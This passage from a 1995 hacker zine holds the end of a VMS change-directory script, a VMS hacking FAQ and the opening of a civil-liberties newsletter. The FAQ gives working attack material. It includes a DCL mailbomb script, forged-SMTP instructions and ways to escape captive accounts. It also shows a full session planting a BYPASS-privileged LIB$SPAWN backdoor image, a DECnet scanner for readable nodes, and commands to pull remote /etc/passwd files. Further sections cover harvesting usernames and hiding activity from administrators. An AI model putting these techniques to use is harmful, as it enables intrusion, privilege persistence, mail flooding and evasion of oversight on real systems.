$  if pauseflag then -
$     write sys$output "    N   More subdirectories/No pause"
$!
$  DIRMENU2:
$     write sys$output "    R   Re-Display subdirectories"
$     write sys$output "    Q   Quit (default)"
$
$  DIRINQUIRE:
$  write sys$output " "
$  inquire dirchoice "  Select One"
$  write sys$output " "
$!
$  if (dirchoice .gt. 0)    .and. -
      (dirchoice .le. dirct) then goto DIRCASEDIGIT
$  dirchoice = f$edit(dirchoice,"UPCASE")
$  if (dirchoice .eqs. "")  .or. -
      (dirchoice .eqs. "Q")  then goto DIRCASEBLANK
$  if (dirchoice .eqs. "M") .or. -
      (dirchoice .eqs. "N")  then goto DIRCASEMORE
$  if (dirchoice .eqs. "R")  then goto DIRCASERED
$!
$  DIRCASERROR:
$  if (dirct .eq. 1)   then write sys$output -
      "  Select 1 to change to the ", userfile1, " subdirectory. "
$  revdirct = dirct
$  if (dispct .eq. 8) then revdirct = revdirct - 2
$  if (dirct .gt. 1)   then write sys$output -
      "  Valid subdirectory selections are 1 through ", revdirct, " (Octal)."
$  goto DIRINQUIRE
$!
$  DIRCASEDIGIT:
$  if (userfile'dirchoice' .eqs. "") then goto DIRCASERROR
$  ndir = userfile'dirchoice'
$  goto DIREND
$!
$  DIRCASEBLANK:
$  write sys$output "  Subdirectory not changed."
$  write sys$output " "
$  goto DIREND
$!
$  DIRCASEMORE:
$  dispct = 0
$  if (dirchoice .eqs. "N") then pauseflag = 0
$  if (userfile .nes. "")   then goto DIRLOOP
$  write sys$output "  No more subdirectories to display."
$  goto DIRINQUIRE
$!
$  DIRCASERED:
$  dispct = 1
$  DISPLOOP:
$     if (userfile'dispct' .eqs "") then goto DISPDONT
$     lengthflag = (f$length(userfile'dispct') .gt. 18)
$     if lengthflag then write sys$output -
         f$fao("  !3SL   !34AS  ", dispct, userfile'dispct'), userprot'dispct'
$     if (.not. lengthflag) then write sys$output -
         f$fao("  !3SL   !20AS  ", dispct, userfile'dispct'), userprot'dispct'
$     DISPDONT:
$     dispct = dispct + 1
$     if (dispct .le. dirct) then goto DISPLOOP
$  goto DIRMENU
$!
$  DIRNONE:
$  write sys$output "No subdirectories to choose, or no directory privileges."
$  write sys$output " "
$  goto DIREND
$!
$  DIREND:
$  set message 'error_message'
$  on control_y then exit
$  on control_c then exit
$  if (ndir .eqs. "*") then goto DISPLAY
$  goto PARSE
$!
$!-Help-----------------------------------------------------------------------
$!
$  HELP:
$  type sys$input

               CD.COM  Version 6  VMS Change Directory Command

                         Usage:  CD command/directory

CD         Display home directory,       CD ..       Change directory to the
           current directory, node.      CD [-]      dir above current dir.

CD \       Change directory to your      CD ..sub    Change directory to a
CD HOME    SYS$LOGIN directory.          CD [-.sub]  "sideways" subdirectory.

CD dir     Change directory to the       CD *        Display/select the
CD [dir]   [dir] directory.                          available subdirectories.

CD .sub    Change directory to the       CD .        Reset current directory.
CD [.sub]  [.sub] subdirectory.          CD ?        Display CD instructions.

     CD :== @SYS$LOGIN:CD.COM                 DEFINE SYS$PROMPT "ON"
     To make CD available from                To have the VMS $ prompt
     any directory you change to.             display the current directory.

                              By The Mentor
$  goto END


        Once uploaded,  you should add the following line you your
        LOGIN.COM:

$ CD :== @DEVICE:[PATH]CD.COM  ! Replace DEVICE/PATH with user information

7.      "Okay,  where my .profile"

        Easy.  There is none.  VMS startup routines (for personal accounts)
        can be found in the user's home directory under the name
        "LOGIN.COM".

8.      "I can't seem to get to the DCL prompt"

        It is possible to setup "CAPTIVE" accounts under VMS.  When setup
        correctly,  these can be difficult to break out of,   however,
        in alot of cases, a simple control-C while the LOGIN.COM
        is executing.  Another method of keeping the LOGIN.COM
        (or any commands for that fact) is to login with the
        "/NOCOMMAND" flag.  This flag is placed after your username
        at the USERNAME prompt,  and will bypass any account startup
        files/commands.    On a correctly setup captive account,
        this will bomb out.    In the even that this fails,   some
        places slip up by allowing a parent to spawn off other
        processes.  For example,  if the captive account puts you
        into FTP,  or ALL-IN-ONE (Office automation/mail package),
        it might be able to 'SPAWN' out to DCL.   This can also
        be prevented by simply setting up process limitation
        on the account.

                 -       VMS SMTP/Mail Information.     -


1.      "I am attempting to send fakemail by connecting to the SMTP port,
but everytime I issue the 'mail from',  it gives me a 'Mailbox syntax
incorrect', or 'Bad arguments'.  I try the standard format a *always*
use,  but it *still* gives me this crap!  What's the problem?"......

        Of course,  it is possible to send fake mail by connecting to
the VMS machines SMTP (Simple Mail Transfer Protocol) port (25),
however,  VMS "sendmail" routines tend to be a little more picky.  For
example,  the session below would *appear* that it should work...

-------------

telnet 6.6.6.6 25
Type ^] (decimal 29)  to return to NetBlazer
Trying 6.6.6.10:25...
Telnet session 0 connected to bogus.add.com
220 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service ready at Fri, 6 Jan 1995
6:25:01 -0500 (EST)
helo
250 BOGUS.ADD.COM ; Hello , pleased to meet you.
mail from: bob@unknown
553 Mailbox syntax incorrect
quit
221 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service complete at Fri, 6 Jan 19
95 6:25:22 -0500 (EST)
Telnet session 0 closed: EOF

----------------

        As you can see, however,  this is not the case.  Where is problem
lies is in the fact,  that alot of VMS sendmail routines require "<", and
">" around "mail from" and "rcpt to" commands,  and sometimes a address
(Especially the case with Multinet SMTP,  and Pathway's Wollangong
Sendmail).   In order to get a good mailing address to "work",  try
"mail from: ".   Some VMS SMTP services do not require
the address,  but in most cases,  the ">" and "<" are required.  The
same applys with the "rcpt to" command.  You might need to format it
the same as the "mail from".  I.E. - "rcpt to: " or "rcpt to:
".



2.     "Can I use my favorite Unix sendmail holes on VMS sendmail?"

        Don't be silly.  No...  Digital did not believe that sendmail
        bugs and holes where important enough to port (grin).  (It
        has been rumored that one sendmail hole *was* actually ported,
        but as of this time,  this has not be verified.

3.      "How can I code a mail bomb routine,  so that I can piss off
         people really good and eat 'bandwidth'."

        Like this,  below...

$! Simple VMS Mailbomb routine.
$! Please be someone human.   Don't do this crap.
$!
$ say :== write sys$output
$ on error then goto err
$ if p4 .eqs. ""
$ then
$ say "Mailbomb V1.0                            Coded By The Beaver"
$ say "1995"
$ say ""
$ say "Usage:"
$ say "MAILBOMB [Msg Subject] [File to bomb with] [Username] [# of Times]"
$ exit
$ endif
$ A=1
$ loop:
$ mail/subject='p1' 'p2' 'p3'
$ A = A + 1
$ if A .eqs. p4
$       then
$       say "Bomb Is Complete"
$       exit
$       endif
$ goto loop
$ err:
$ say "A Error has occured.  Be sure all file are present and correct"
$ exit


              -      User/Image Privilege Informations     -


1.      "How are user privileges setup?"

        User privleges are handled in a completely different manor
        than Unix handles them.  With unix,  you have either

        a> all priveleges (IE - "root")
        b> standard user

        VMS is a touch different.

        For example,  let say you have a field engineer that needs
        a standard user account (I.E. - be able to send/receive mail,
        do standard DCL commands.. Normal TMPMBX, NETMBX,  and
        all that),  but in order to do his job,  he needs to run the
        online VMS diagnostics software (which is a privileged operation)
        When you add the user,  you can grant him "DIAGNOSE" privledges,
        and normal user privileges,  and he will be able do regular users
        commands and run diagnostics.

        What this means is that you can grant certain privileged
        function to certain users,  rather than giving the user
        "the whole system".

        This user we added would only have access to privileges that deal
        with the diagnostic software.  For example,  he could not add
        users (via "AUTHORIZE" or modify the SYSUAF.DAT).

"Privileges restrict the user of certain system functions to processes
created on the behalf of authorized users.  These restrictions protect
the integrity of the operating system code,  data,  and resources and
thus,  the integrity of user services."

"Users cannot execute an image that requires a privilege they do not
possess,  unless the image is installed as a known image with the
privilege in question or the image runs within a protected subsystem"

        Privileges can also be installed on images,  so that when that
        image is executed,  that images process get the permissions
        that it has been granted (this does not mean that the user gets
        the privileges,  but rather,  just the process running this
        task)

                        - OpenVMS VAX Guide To System Security
                          (6.0 manual).

        Below is a listing of privileges,  and a brief description.


ACNT      -     Lets a process use the RUN (Process) command to create
                Process ($CREPRC) system service to create processes
                in which accounting is disabled.  A process in which
                account is disabled is on whose resources are not logged.

ALLSPOOL  -     This privlege lets user's process allocate a spooled
                device by executing the Allocate Device ($ALLOC) system
                service or by users the DCL command "ALLOCATE"

ALTPRI    -     Allows the user's process to
                1.  Increase its own priority
                2.  Set the base priority of a target process
                3.  Change priority of its batch or print jobs.

AUDIT     -     Allows software to append to audit records to the system
                security audit log file.   As a result,  this privilege
                permits the logging of events that appear to come from the
                operating system

BUGCHK    -     Allows the process to make bugcheck error log entries
                from users,  supervisor, or compatibility mode or to send
                messages to the system error logger.

BYPASS    -     Allows the user's process full access to all protected
                objects,  totally bypassing UIC-based protection,
                ACL protection (Access Control List) and mandatory
                access controls.   Users with this privilege can
                modify authorization records (SYSUAF.DAT,  where
                usernames/passwords are stored),  rights identifiers
                (RIGHTSLIST.DAT), DECNet object passwords and accounts
                (NETOBJECT.DAT),  and unlimited file access.

CMEXEC    -     Allows the user's process to execute the Change Mode to
                Executive system service.

CMKRNL    -     Allows the user's process to execute the Change Mode to
                Kernel system services.   These privileges allow
                things like modify a multiprocessor operation (START/
                CPU,  STOP/CPU type commands),  modifying the system
                rights list (SET RIGHTS/ATTRIBUTE), change a processes
                UIC (SET UIC),  and other functions.

DETACH    -     Processes can create detached processes that have there
                own UIC without the DETACH privilege,  provided the
                processes wants to specify a different UIC for the


DIAGNOSE  -     Lets a process run online diagnostic programs and intercept
                and copy all messages written to the error log file.

DOWNGRADE -     Permits a process to manipulate mandatory access controls.

EXQUOTA   -     Allows the space taken by the user's files on a given
                disk volumes to exceed any usage quotas set for the user
                (as determined by UIC) on those volumes.

GROUP     -     Allows the user's process to affect other processes in its
                own group.

GRPNAME   -     Lets the user's process bypass  access controls
                and insert names into (and delete from) the logical table
                of the group to which the process belongs by the use of the
                Create Logical Bane and Delete Logical Name system services.

GRPPRV    -     When the process's group matches the group of the object
                owner,  the GRPPRV privilege gives a process the access rights
                provided by the object's system protection field.  GRPPRV
                also lets a process change the protection or the
                ownership of any object whose owner group matches the
                process's group by using the DCL commands SET SECURITY

IMPORT    -     Lets a process manipulate mandatory access controls.  The
                privilege lets a process mount unlabeled tape volumes.
                This privilege is reserved for enhanced security products
                like SEVMS.

LOG_IO    -     Lets the user's process execute the Queue I/O request
                ($QIO) system service to perform logical-level I/O
                operations.

MOUNT     -     Lets the user's process execute the mount volume QIO
                function.

NETMBX    -     lets a process perform functions related to a DECNet
                Computer Network.

OPER      -     Allows a process to use the Operator Communications
                Manager (OPCOM) process to reply to user's request,
                to broadcast messages to all terminals logged in,  to
                designate terminals as operator terminals and specify
                the types of messages to be displayed to these operator's
                terminals,  and to initialize and control the log file
                of operator's messages.

PFNMAP    -     Lets a user's process create and map page frame number
                (PFN) global sections to specific pages of physical
                memory or I/O device registers,  no matter who is using
                the pages or registers.

PHY_IO    -     Lets the user's process execute the Queue I/O request
                ($QUI) system service to perform physical-level I/O
                operations.

PRMCEB    -     Lets the user's process create or delete a permanent
                common even flag cluster by executing the Associate
                Common Event Flag Cluster.

PRMGBL    -     Lets the user's process create or delete permanent
                global section by executing the Create and Map Section
                or Delete Global Section system service.  In addition
                ,  a process with this privilege (plus CMKRNL and SYSGLB
                privileges) can use the Install utility (INSTALL)

PRMMBX    -     Lets user's process create or delete permanent mailbox
                by the Create Mailbox and Assign Channel system service
                or the DElete Mailbox system service.   Mailboxes are
                buffers in virtual memory that are treated as if they were
                record oriented I/O devices.  A mailbox is used for
                general interprocess communications.

PSWAPM    -     Lets the user's process control whether is can be
                swapped out of the balance set by executing the
                Set Process Swap Mode system service.

READALL   -     Lets the process bypass existing restrictions that would
                otherwise prevent the process from reading an object.
                Unlike the BYPASS privilege which will permits writing and
                deleting,  READALL permits only the reading of objects
                and allow updating of such backup-related file
                characteristics as the backup date.

SECURITY  -     Lets a process perform security related functions such
                as modifying the system password with the DCL command
                SET PASSWORD /SYSTEM or modifying the system alarm
                and auditing settings using the DCL command
                SET AUDIT.

SETPRV    -     Lets user's create process whose privileges are greater
                than its own.   With this privilege,  a user can obtain
                any other privilege via the DCL command "SET PROCESS/
                PRIV"

SHARE     -     Lets process assign channels to devices allocated to other
                processes or to a nonshared device the Assign I/O Channel
                system service.

SHMEM     -     Lets the user's process create global sections and
                mailboxes (permanent or temporary_ in memory shared by
                multiple processors if the process also has appropriate
                PRMGBL,  PRMMBX,  SYSGBL,  and TMPMBX privileges.

SYSGBL    -     Lets user;s create or delete system global sections by
                executing the Create and Map Sections or the Delete
                Global Section system services.  With this privilege
                and CMKRNL and PRMGBL,  the Install command (INSTALL)
                can be used.

SYSNAM    -     Let's user's process bypass discrepancy access
                controls and insert names into the system logical
                name table and delete names from that table.  A
                process with this privilege can use the DCL commands
                ASSIGN and DEFINE to add names to the system logical
                in the user or executive mode and can use the DEASSIGN
                command in either mode to delete names from the
                table.

SYSPRV    -     Lets a process access security objects by the system
                protection field and also read and modify the owner
                (UIC),  the UIC-based protection code,  and the ACL
                of and object.   Any processes with this privilege
                can add,  modify,  or delete entries in the system
                user authorization file (SYSUAF.DAT)

TMPMBX    -     Lets user's create process create a temporary mailbox
                by executing the Create Mailbox and Assign Channel.

UPGRADE   -     Lets a process manipulate access controls.  This privilege
                is reserved for enhanced security products like SEVMS.

VOLPRO    -     Lets user's processes:
                        o Initialize a previously used volume with an owner
                          UIC different from the user's own UIC.
                        o Override the expiration date on a tape or
                          disk owned by another user.
                        o Use the ////FOREIGN qualifier to mount a Files-11
                          volume owned by another user.
                        o Override the owner UIC protection of volume.

WORLD     -     Lets user's process affect (suspend, resume, delete,
                set priority, wake,  etc) other processes both inside
                and outside its group.


                                - Taken Mostly From the, "OpenVMS VAX
                                  System Security" (V6.0)



2.      "How can I make a SUID Shell in VMS"....

        Simple...  You can't.   Privileges are handled in a much different
        method than on Unix (see "How are user privileges setup").  You
        can make a program (image) that when executed,  the process
        of that image gains the privileges that it was "installed"
        with.    For example,  if you write a program that needs read access
        to the SYSUAF.DAT you *could* make SYSUAF.DAT world readable
        (if you are on a privileged account,  of course)  but this
        would be very,  very unwise.    Another method would be to
        "INSTALL" the executable image and give it READALL privileges,
        so that when a user's processes calls your programs,  that programs
        process (the image running) gets READALL privileges.   Then that
        process would be able to read the SYSUAF.DAT,   but the user's
        process would not.

        With this in mind,   it is possible to create a senerio similar
        to that of a "SUID Shell" (but without the shell).  The idea
        is to give the privileges (that you want to keep ahold of)
        on a program that does nothing more than make a call to
        LIB$SPAWN.   The idea is to write a program that will do nothing
        more than create another process (that drops you to DCL)
        via LIB$SPAWN,  and using the VMS "INSTALL" utility,  give it
        the privileges that you wish that process to have.  There are
        several downfalls to this.  To accomplish this,  you would
        need CMKRNL privileges yourself (your process).  So your process
        would already need certain privileges to pull this off. The idea
        here is in the event that the user has obtained a "privileged
        account",  and wishes to remain privileged,  he/she could
        install a image which could be called by a normal (non-privileged)
        user in which he/she could obtain the system privileges again.

        Below is a sample session capture of me installing a privileged
        image.   The privilege I gave this image is "BYPASS" (Bypass
        all security features,  and the ability to modify SYSUAF.DAT
        and RIGHTSLIST.DAT)


Trying...
Connected to UpperDck
Escape character is '^]'.

                       Upper-Dck VMS Development System



Username: SYSTEM   ! Login to our privileged account
Password:
        Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday,  6-JAN-1995 07:17
    Last non-interactive login on Thursday, 22-DEC-1994 15:51

 User= SYSTEM       Directory= [SYSMGR]       UIC=  [1,4]
        Terminal= NTY5:       6-JAN-1995 07:19:01.00

sysm>basic      ! I am going to use VMS BASIC,  but use anything you want

VAX BASIC V2.3


Ready

10 external long function lib$spawn ! Call "SPAWN" library.  The idea with this
   declare long xspawn              ! program is to give us another "spawned"
   xspawn=lib$spawn()               ! process.

save mytrap             ! Save this program
Ready

exit                    ! and exit the VMS BASIC.
sysm>basic mytrap*.*    ! Just to show our file.

Directory SYS$SYSROOT:[SYSMGR]

MYTRAP.BAS;1

Total of 1 file.
sysm>basic mytrap       ! This will compile and make our object code
sysm>dir mytrap*.*      ! To show our object code.

Directory SYS$SYSROOT:[SYSMGR]

MYTRAP.BAS;1        MYTRAP.OBJ;1

Total of 2 files.

sysm>link mytrap/notraceback  ! Link it, with notraceback (for priv reasons)
sysm>dir mytrap*.*            ! To show our executeable code.

Directory SYS$SYSROOT:[SYSMGR]

MYTRAP.BAS;1        MYTRAP.EXE;1        MYTRAP.OBJ;1

Total of 3 files.

sysm>copy mytrap.exe sys$system:  ! copy it to sys$system: [this is silly]
sysm>install                      ! Run install to setup priv's on our imagine.
INSTALL> create mytrap/priv=(bypass) ! Give "mytrap" bypass priv's
INSTALL> list mytrap/full            ! Just to show off the image priv's

DISK$VAXVMSRL5:.EXE
   MYTRAP;2                       Prv
        Entry access count         = 0
        Privileges = BYPASS

INSTALL> exit                    ! Get the hell out of here.
sysm>dir sys$system:mytrap.exe   ! And just to show its still there

Directory SYS$SYSROOT:[SYSEXE]

MYTRAP.EXE;2        MYTRAP.EXE;1

Total of 2 files.

sysm>dir sys$system:mytrap.exe;2 /full ! Notice "world" protections...

Directory SYS$SYSROOT:[SYSEXE]

MYTRAP.EXE;2                  File ID:  (43314,33,0)
Size:            4/6          Owner:    [1,4]
Created:   6-JAN-1995 07:20:26.35
Revised:   6-JAN-1995 07:20:41.54 (2)
Expires:   
Backup:    
File organization:  Sequential
File attributes:    Allocation: 6, Extend: 0, Global buffer count: 0
                    No version limit, Contiguous best try
Record format:      Fixed length 512 byte records
Record attributes:  None
RMS attributes:     None
Journaling enabled: None
File protection:    System:RWED, Owner:RWED, Group:RE, World:
Access Cntrl List:  None

sysm>set file sys$system:mytrap.exe /protection=(w:re) ! because world cant
sysm>log                                               ! read/execute. Logout.

  SYSTEM       logged out at  6-JAN-1995 07:42:02.55
Connection closed by foreign host.

        [Now,  we make a new connection to the system to test our ]
        [ "MYTRAP.EXE" with the image priv's attached to it       ]

Trying...
Connected to UpperDck.
Escape character is '^]'.

                       Upper-Dck VMS Development System


Username: JOEBOB        ! Now, log as a normal user.
Password:
        Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday,  6-JAN-1995 07:14

 User= JOEBOB        Directory= [UPPERDCK]       UIC=  [130,163]
        Terminal= NTY6:       6-JAN-1995 07:42:12.00

UPDCK> show process/priv ! To prove that we have normal user priv's

 6-JAN-1995 07:42:27.01   User: JOEBOB           Process ID:   0000010F
                          Node: UPPERDCK         Process name: "JOEBOB"

Process privileges:
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device

Process rights identifiers:
 INTERACTIVE
 LOCAL
 SYS$NODE_UPPERDCK
UPDCK> set proc/priv=bypass ! To prove I can't enabled "BYPASS" priv's
%SYSTEM-W-NOTALLPRIV, not all requested privileges authorized
UPDCK> mcr mytrap           ! Run our little "privledge provider"
UPDCK> show process/priv    ! To show our priv's after we exec. MYTRAP.EXE
                            ! note that we are spawned (see PID and Proc. Name)

 6-JAN-1995 07:42:46.05   User: JOEBOB           Process ID:   00000110
                          Node: UPPERDCK         Process name: "JOJBOB_1"

Process privileges:
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device

Process rights identifiers:
 INTERACTIVE
 LOCAL
 SYS$NODE_UPPERDCK
UPDCK> set process/priv=bypass ! Note,  no error when we do this now.
UPDCK> show process/priv       ! To prove that we have gained BYPASS

 6-JAN-1995 07:42:53.37   User: JOEBOB           Process ID:   00000110
                          Node: UPPERDCK         Process name: "JOEBOB_1"

Process privileges:
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
 BYPASS               bypasses UIC checking


Process rights identifiers:
 INTERACTIVE
 LOCAL
 SYS$NODE_UPPERDCK
UPDCK> logout ! I can pretty much do anything now.... Lets stop this subprocess
  Process JOEBOB_1 logged out at  6-JAN-1995 07:42:59.01
UPDCK> logout ! logout completely

  JOEBOB       logged out at  6-JAN-1995 07:43:05.11
Connection closed by foreign host.


             -     Using DECNetwork's to your advantage.     -


1.      "What is a DECNet?"

"DECNet is a collective name for the family of communications products
(software and hardware) that allow DIGITAL operating systems to participate
in a network.

"A DECNet network links computers into flexible configurations to exchange
information,  share resources,  and perform distributed processing.  DECNet
distribution processing capabitlites also information to be originated
anywhere in the network."

                - VMS Version 5.0 DECnet "Guide to DECNet - VAX Networking"

        DECNet can support a minimum of 2 nodes and up to 64,000 nodes,
        and can support multiple OS's along with various LAN/WAN
        (Using PSI,  and DECNet system can be supported on packet
        switching enviroments (like Tymnet and Sprintnet)) and
        operating environments. (VMS,   Ultrix,  RSX, and with the correct
        hardware,  IBM PC's,  VAXmate's, etc).

        DECNet's allow easy access to information from system to system.


2.      "This is great,  what does it mean to me."

        You can use DECNets to grab information/files/programs and use
        them to your own advantage (granted that security has not
        been completely implemented... which is usually the case
        on a vanilla/default install)

        For instance,  if a intruder where to break into a system
        which supported a DECNet,  he/she might be able to access files on
        a remote system/nodes of that DECNet.  As stated,   DECNets
        can range from local machines in that area (LAN) or
        DECNet's can stretch across the world.

3.      "How would I get to that information on a remote node?"

        All from DCL,  using commands like "DIRECTORY",  "COPY",
        "TYPE",  etc.   Usually by adding in the node name at the
        being of the command.  For example

$ DIR NODE::            ! Example format.

        or

$ DIR NODE::SYS$COMMON:[SYSEXE]  ! Shows logical SYS$COMMON and the SYSEXE
                                 ! Directory on the remote node.

        or

$ COPY NODE::DISK1:[BOB]SECRET.TXT []  ! The "[]" means "wherever i am"


4.      "What if I want to connect and use the nodes interactively?".

        One of two ways.  Try to "SET HOST [NODENAME]".  If that fails,
        try to use NCP (Network Control Program),  like this.....

$ MCR NCP CONNECT NODE [NODENAME]

5.      "Well, Gee,  thats wonderful.  How do I find connectable nodes
        that are on the DECNet"

        Once again, this information can be found using the NCP (
        or via a "SHOW NETWORK") command.   You might not get a
        *complete* listing,  because the host you are on might not
        know all DECNet nodes,  but it will at least get you hoping
        around on the DECNet.  This list can be obtain via executing.....

$ MCP NCP SHOW KNOWN NODE

        This will dump a list.  You can sort though the information
        using the NCP connect command,  and see what all sorts
        of things you run into (Xyplex/DECServers,  Other VMS Machines,
        SNA Gateway controls,  etc, etc).  If you are only interested
        in machine that you can get file information on,  you can
        us the following command file to find nodes that you can
        use.



$! DECNETFIND  Version 1.0
$! Coded By The Beaver
$! Jan 5th,  1995
$!
$! The intent of this code is to scan for remote,  connectable nodes that
$! the VMS host knows about (Via NCP) and build a list.  Once this list
$! has been created,  we check to see if the remote machine is indeed
$! A> VMS (Later rev. will include Ultrix/OSF(?)) 2> Can it be directly
$! accessed via the DECNet 3> Can we read file systems on the remote node.
$! Node that are "successful" are stored away.  This prevents mucho
$! time consuming scanning by hand.
$!
$!
$ on error then goto err                        ! In case of Boo-Boo
$ say :== write sys$output
$ if p1 .eqs. ""                                ! Yes, output file helps
$       then
$       say "DECNet VMS Node Finder Version 1.0                   1995"
$       say "Coded By The Beaver"
$       say ""
$       say "Usage:"
$       say "DECNETFIND [Outfile]"
$       exit
$       endif
$!
$ say "Building Node List Via NCP....(Working)"
$!
$ mcr ncp show known nodes to nodes.out  ! Fire up NCP and dump nodeslist
$ open/read in nodes.out                 ! Open to read
$ open/write nodelist 'p1'               ! "Success" Storage area.
$ on severe_error then continue          ! So things done die on "dir ::"'s
$!
$ loop1:
$ read/end = end in line
$       name=f$element(0,")", f$element(1, "(", line)) ! grab a nodename
$       if name .gts. "("
$         then
$         say "**************************************************************"
$         say "Nodename: "+name
$         say ""
$         dir 'name'::          ! See if we can get to it via a DECNet DIR::
$         if $severity .nes "1"
$               then
$               say "Status:  Node Unreachable Via DECNet Dir::"
$               else
$               say "Status:  Found Good Node. [Logged]"
$               write nodelist name             ! Log it.
$               endif
$ endif
$ goto loop1
$ err:
$ say "Ouch.  There has been a error!"
$ end:
$ close in
$ close nodelist                ! Close up and leave,  exit stage
$ delete nodes.out;*            ! right
$ say "Complete!"
$ exit


        "That works great,  but I ran into a Unix (Ultrix) machine,  and
        when I do a 'DIR NODENAME::' it only gives me some jerk-off's
        directory.   Is there anyway I can grab files off the remote machine
        (Ultrix) and directory listings?"

        Once again,  no problem.   Format the command like this:

$ DIR NODE::"/etc"      ! will give remote nodes /etc directory

        Or to grab the /etc/passwd file on the remote node,  try....

$ TYPE NODE::"/etc/passwd"   ! And open a capture buffer.


6.  "Can't DECNet's be protected more against this generic attack?"

        Sure,  by setting up proxy login access,  which forces the
        users to supply a password when attempting to do network
        operations like above.  Proxy logins are formatted below:

        (This example is using the DCL COPY command)

        COPY remotenode"proxyaccount"::filename filename

        for example,

        COPY ADAM"BOB FLASHER2"::SECURITY.TXT MYSECURITY.TXT

        (BOB - The Proxy login name,  FLASHER2 is the password)

        However,  in a vannila VMS (IE - Default installation),
        proxy logins are not enabled,  so DECNet surfing can
        prove to be very,  very useful.

7.  "Are proxy logins logged.. Can I write a routine that will
        attempt proxy accounts to break into remote machines?"

        You bet that proxy logins are logged.   Repeating invalid
        attempts will inform the administrations that a "NETWORK
        BREAK IN" is in effect (via the OPCOM process).


                -       TCP/IP Networked Machines        -


1.  "I have found a remote VMS machines on a TCP/IP network (I.E.
     the internet).   I have tried to finger the remote system in
     order to start collecting usernames,   I get a 'connection
     refused'.... Now what?"

        Connect to the SYSTAT port (Port 11).  This will give jobs
        currently running on the system.  More than likely,  this
        port has been left open.  With this in mind,  you can
        sort though all the jobs and grab usernames,  while excluding
        system jobs (I.E - SWAPPER,  ERRFMT,  AUDIT_SERVER,
        JOB_CONTROL,  NETACP,  EVL,  REMACP,  SYMBIONT*,
        XYP_SERVER,   OPCOM,  INET_SERVERS, etc....etc).

        Also,  I find one great trick is to look for "Student" type
        accounts.  That is,  accounts that appear to be repetitive.
        You can then predict possible usernames.

        The above can be accomplisted by using the below command
        (In most cases):

$ TELNET SITE.ADDRESS.COM /PORT=11


2.      "On Unix machines,  I can make a symbolic link to a 'questionable'
        command,   so that is appears that I am doing one thing when
        I am really doing another (Or copying and renaming the command).
        Is there anyway I can make it appear that I am doing something
        that I am not?".

        When the command "FINGER" is issued,  a user/administrator
        can see what image is currently being executed by a particular
        user.   For example sake,  lets say you want to play with
        NCP but you know that if the administrators see you in NCP,
        they will get rather irate,  and kick you off the system.
        You can make it appear that you are doing something else
        by:

        a>  Copying the image,  renaming it,  and running it. [which
            may or may not work].
        b>  Write a routine that calls LIB$SPAWN named the command
            you wish to appear to be executing,   thus making it
            appear via finger that you are executing another command.

        Below is a quick example session to examine of senerio b. :

-----------------------------------------------------
Trying...
Connected to UpperDck.
Escape character is '^]'.

                       UpperDck VMS Development System


Username: JOEUSER
Password:
        Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday, 20-JAN-1995 12:58

 User= JOEUSER      Directory= [JOEUSER]       UIC=  [JOEUSER]
        Terminal= NTY12:      20-JAN-1995 13:00:16.93

$ create mail.bas
10 external long function lib$spawn  ! Create a program that calls LIB$SPAWN
   declare long xspawn               ! This can be coded in anything you
   xspawn=lib$spawn()                ! want

$ basic mail                         ! Compile out LIB$SPAWN program
$ link mail                          ! Link it.
$ finger                             ! Show what we look like before we run it
20 JAN 13:02:06    Up 28 21:15:12
2+0 Jobs   Load ave  0.07 0.03 0.01

Login   Name                 Job   Subsys  TTY     Idle  Net Site
JOEUSER JOEUSER              0013d FINGER  nty12         UPPERDCK
OPER    Operations           0013a GLYPH   nty9     40   OPSITE

$ run mail      ! Makes us appear as if we are in the "MAIL" utility.
$ finger        ! Take a look'see
20 JAN 13:02:15    Up 28 21:15:21
2+0 Jobs   Load ave  0.07 0.03 0.01

Login   Name                 Job   Subsys  TTY     Idle  Net Site
JOEUSER JOEUSER              0013d MAIL    nty12         UPPERDCK
OPER    Operations           0013a GLYPH   nty9     40   OPSITE

$ log  ! Stop the subprocess
  Process JOEUSER_1 logged out at 20-JAN-1995 13:02:20.02
$ log  ! logout
  JOEUSER        logged out at 20-JAN-1995 13:02:22.32

-------------------------------------------------------------



Finnal Notes:

        This FAQ is far from complete,  and will remain in its "beta"
        stages for sometime.

        I am sure that many people while question the fact of the us
        of VMS BASIC as opposed to C.    The reason that some examples
        where given with VMS BASIC is because of a lack of a C compiler
        on our local machine.   Besides,  it gets the job done
        (sloppy).

        I was mailed many terminal spoofing programs,  but since the
        range on these can be so large,  and its one of the most
        common VMS hack's,  I will wait until the next release of this
        FAQ until a good terminal spoofing is released with this
        (Anyone ever thought of grabbing the SYS$ANNOUNCE to emulate
        the login screen??).

        I got alot of mail from alot of people.

        Thanks to Shadow Hacker,   Risc,   Trouser,  Spoon,  and
        all the boys at The Upper-Deck.

        Bitwarrier for intresting conversation (besides terminal
        spoofing),  the ton of people that mailed me.  Thanks.

        - Things that need to be added/updates:

          Identifying VMS machines.....
          Information on the OPCOM process....
          Information on accounting/user tracking...
          A decent terminal spoof program

        - This that we are looking for [Please mail beaver@upperdck.blkbox.
          com,  if you know about these hack's]

          VMS Phone mail recording facility (Uses undocumented routines
          found in the PHONE.EXE command)

          Passing commands via VMS mail.

        If you have anything remotely intresting for the next release,
        please mail them to me at:

        beaver@upperdck.blkbox.com

        "It ain't done,  but hey... It a fucking start......"

*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *

                          -= H A C K E R S =-

                        Issue #2, File #4 of 9

                             BillWatch #15

                  By:  Voters Telecommunications Watch


      VTW BillWatch: A weekly newsletter tracking US Federal legislation
        affecting civil liberties.  BillWatch is published every
           Friday evening as long as Congress is in session.

               Issue #15, Date: Sat Aug 26 15:07:25 EDT 1995

      Please widely redistribute this document with this banner intact
          Redistribute no more than two weeks after above date
             Reproduce this alert only in relevant forums

      Distributed by the Voters Telecommunications Watch (vtw@vtw.org)

      *** Know of someone ANYWHERE with a fax machine but without net ***
      *** access that's interested in VTW's issues?  Tell them to     ***
      *** call and get on our weekly fax distribution list at         ***
      *** (718) 596-2851 (or email us their fax number.               ***

         To get on the distribution list for BillWatch, send mail to
